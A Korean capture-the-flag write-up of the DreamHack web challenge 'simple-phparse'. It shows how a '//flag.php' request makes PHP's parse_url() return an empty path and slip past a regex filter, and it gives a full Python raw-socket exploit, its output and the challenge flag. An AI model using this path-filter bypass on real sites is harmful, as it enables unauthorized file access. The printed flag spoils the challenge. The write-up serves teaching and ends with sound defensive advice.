[🥉 Bronze 3] 슬래시 하나로 열리는 flag.php — DreamHack simple-phparse 풀이

문제: DreamHack — simple-phparse 분류: Web 난이도: 🥉 Bronze 3 FLAG: DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}

접속하면 요청 URL을 파싱해서 host / path / query를 그대로 화면에 뿌려주는 페이지가 뜬다. 이름 그대로 "PHParse".

flag.php라는 이름이 소스에 대놓고 등장하는데, 정작 그 경로로 접근하면 차단당한다. 차단 로직이 parse_url() 위에 서 있다는 게 이 문제의 전부다.

문제 개요

풀이 흐름은 짧다. 소스를 보면 경로 필터가 parse_url() 의 반환값에 걸려 있다. 그 함수가 어떤 입력에서 어떻게 갈라지는지 라이브로 찔러보고, 필터가 검사하는 $path 를 비워버리는 입력을 찾으면 끝난다.

🧩 배경 — parse_url() 이 URL을 자르는 규칙

PHP의 parse_url() 은 문자열 하나를 받아 scheme·host·port·path·query 같은 구성요소로 쪼갠다. 두 번째 인자로 PHP_URL_HOST, PHP_URL_PATH 등을 주면 해당 부분만 뽑아 돌려준다.

$url  = $_SERVER['REQUEST_URI'];   // 예: "/foo/bar?q=1"
$host = parse_url($url, PHP_URL_HOST);
$path = parse_url($url, PHP_URL_PATH);
$query= parse_url($url, PHP_URL_QUERY);

여기서 놓치기 쉬운 규칙이 하나 있다. 문자열이 // 로 시작하면 parse_url 은 그 뒤를 authority(host[:port]) 로 본다. scheme://host/path 에서 scheme만 빠진 형태(//host/path)로 읽는 것이다.

• /flag.php → path는 /flag.php, host는 없음
• //flag.php → host가 flag.php, path는 비어 있음

즉 슬래시 한 개 차이로 같은 문자열이 "경로"가 되기도 하고 "호스트"가 되기도 한다. 이 문제의 필터가 보는 값이 바로 그 경로다.

🔬 코드 정찰 — 필터가 보는 값은 $path 하나

제공된 index.php 는 짧다.

$url = $_SERVER['REQUEST_URI'];
$host = parse_url($url, PHP_URL_HOST);
$path = parse_url($url, PHP_URL_PATH);
$query = parse_url($url, PHP_URL_QUERY);
echo "host: $host / path: $path / query: $query";
 
if (preg_match("/flag.php/i", $path)) {
    echo "NO....";
} else {
    echo "Cannot access flag.php: $path";
}

차단 조건은 preg_match("/flag.php/i", $path) 하나다. 검사 대상은 host도 query도 아닌 $path 뿐이다. 그러니 목표는 단순해진다 — flag.php 로 접근하면서 $path 안에는 그 문자열이 남지 않게 만들면 된다.

무엇을 제어할 수 있나 — 직접 찔러보기

이 페이지는 친절하게도 파싱 결과를 그대로 화면에 뿌린다. 굳이 로컬에 PHP를 깔 필요 없이 서버에 여러 URL을 보내보며 parse_url 의 실제 동작을 눈으로 확인할 수 있다.

먼저 평범한 경로. /foo/bar?q=test 를 보내면 path와 query가 기대대로 갈라진다.

이번엔 앞에 슬래시를 하나 더 붙여 //dreamhack.io/secret?q=1 을 보낸다. 결과가 확 달라진다.

host: dreamhack.io, path: /secret. 슬래시 두 개 뒤의 dreamhack.io 가 호스트로 빨려 들어갔다. 배경에서 설명한 규칙이 서버에서 그대로 재현된다. 여기까지 오면 답이 보인다 — flag.php 를 저 호스트 자리에 밀어 넣으면 된다.

🐛 삽질 — 순진하게 /flag.php

당연히 처음엔 그냥 /flag.php 로 들어가 본다.

▶🐛 삽질 — /flag.php 직접 접근은 필터에 걸린다

Copy

GET /flag.php

flag.php 도 index와 똑같이 parse_url + preg_match 필터를 얹고 있다. /flag.php 는 path가 /flag.php 그대로라 preg_match("/flag.php/i", $path) 에 정확히 걸린다. 화면에는 flag 대신 NO... 만 남는다. 대소문자를 바꿔도 정규식에 /i 가 붙어 있어 소용없다.

필터가 경로 문자열을 직접 잡아내니, 경로에서 flag.php 를 빼돌려야 한다. 정찰에서 본 // 규칙이 바로 그 수단이다.

💣 핵심 — 슬래시 하나로 path 비우기

//flag.php 를 요청하면 parse_url 은 flag.php 를 호스트로 읽고 path는 빈 문자열을 돌려준다. 필터가 검사하는 $path 가 비어 있으니 preg_match 는 아무것도 매칭하지 못하고, 코드는 else 분기로 흘러 flag를 뱉는다.

말로만 하면 미덥지 않으니 PHP parse_url 을 직접 돌려 확인한다. 아래는 네 가지 입력을 넣고 host / path / 필터 결과를 표로 찍는 스크립트다.

<?php
// parse_demo.php — parse_url이 REQUEST_URI를 어떻게 쪼개는지 확인
$cases = ["/flag.php", "//flag.php", "/index.php?a=1", "////flag.php"];
printf("%-14s | %-10s | %-10s | %s\n", "REQUEST_URI", "host", "path", "preg /flag.php/i on path");
foreach ($cases as $u) {
    $host = parse_url($u, PHP_URL_HOST);
    $path = parse_url($u, PHP_URL_PATH);
    $hit  = preg_match("/flag.php/i", (string)$path) ? "MATCH →NO..." : "no match →통과";
    printf("%-14s | %-10s | %-10s | %s\n", $u, var_export($host,true), var_export($path,true), $hit);
}

/flag.php 만 path에 /flag.php 를 남겨 MATCH로 걸리고, 나머지 셋은 전부 통과다. //flag.php 는 host가 flag.php, path는 NULL. ////flag.php 처럼 슬래시를 더 늘리면 파싱 자체가 실패해 host·path가 모두 false 가 되는데, 이 역시 필터를 통과한다. 우리가 쓸 건 가장 깔끔한 //flag.php 다.

🎯 익스플로잇 — //flag.php

브라우저 주소창에 http://<host>:<port>//flag.php 를 그대로 치면 된다. Chromium은 경로의 이중 슬래시를 정규화하지 않고 GET //flag.php 로 보낸다.

화면 하단의 PATH: 가 텅 비어 있는 게 우회의 증거다. path가 빈 문자열이라 필터가 걸리지 않았고, 그 아래에 flag가 그대로 찍혔다.

한 가지 주의점. requests 나 urllib 같은 HTTP 클라이언트는 요청 라인을 정규화하면서 // 를 / 로 접어버릴 수 있다. 그러면 서버엔 /flag.php 가 도착해 다시 차단된다. 그래서 익스플로잇은 요청 라인을 손대지 않는 방식이어야 한다 — raw 소켓으로 직접 쓰거나, curl --path-as-is 를 쓴다.

🚀 Full Exploit

raw 소켓으로 요청 라인을 그대로 실어 보내는 자체 완결 스크립트다. 순진한 /flag.php 와 우회 //flag.php 를 나란히 보내 차이를 보여주고, 응답에서 flag를 뽑는다.

#!/usr/bin/env python3
# simple-phparse 자체완결 익스플로잇
import socket, re
 
HOST, PORT = "host3.dreamhack.games", 15122
 
def fetch(target):
    req = (f"GET {target} HTTP/1.1\r\n"
           f"Host: {HOST}\r\nConnection: close\r\n\r\n")
    s = socket.create_connection((HOST, PORT), timeout=10)
    s.sendall(req.encode())
    buf = b""
    while True:
        chunk = s.recv(4096)
        if not chunk: break
        buf += chunk
    s.close()
    return buf.decode(errors="replace")
 
def signal(html):
    if "NO..." in html: return "차단됨: NO..."
    m = re.search(r"flag is (DH\{[^}]+\})", html)
    return f"flag 노출: {m.group(1)}" if m else "(알 수 없는 응답)"
 
print("[1] GET /flag.php  →", signal(fetch("/flag.php")))
resp = fetch("//flag.php")
print("[2] GET //flag.php →", signal(resp))
flag = re.search(r"DH\{[0-9A-Fa-f]+\}", resp)
print("[+] FLAG =", flag.group(0) if flag else "not found")

/flag.php 는 예상대로 NO... 로 막히고, //flag.php 에서 flag가 그대로 떨어진다.

[1] GET /flag.php  → 차단됨: NO...
[2] GET //flag.php → flag 노출: DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}
[+] FLAG = DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}

📝 결론

필터의 입력과 실제 동작의 입력이 다르면 우회는 시간문제다.

이 문제의 방어는 "요청 경로에 flag.php 가 있으면 막는다"였다. 그런데 그 경로를 뽑는 parse_url() 은 같은 문자열을 슬래시 개수에 따라 다르게 해석한다. 필터가 보는 $path 와 사람이 생각하는 "요청한 파일"이 어긋나는 순간, 검사 자체가 무의미해진다.

경로 기반 접근 제어는 애초에 취약하다.

파일을 숨기고 싶다면 이름을 문자열로 필터링할 게 아니라, 웹 루트 밖에 두거나 서버 설정(인증·IP 제한)으로 막아야 한다. 애플리케이션 레벨에서 URL 문자열을 정규식으로 걸러 접근을 통제하려는 시도는 파서의 사소한 해석 차이 하나에 무너진다.

정규화는 검사보다 먼저.

굳이 문자열로 걸러야 한다면, 검사 전에 경로를 한 번 정규화(canonicalize)해서 //·/./·%2e 같은 표현을 하나로 접은 뒤 비교해야 한다. 파서가 내놓는 여러 표현을 그대로 신뢰하면, 이번처럼 슬래시 하나에 통째로 뚫린다.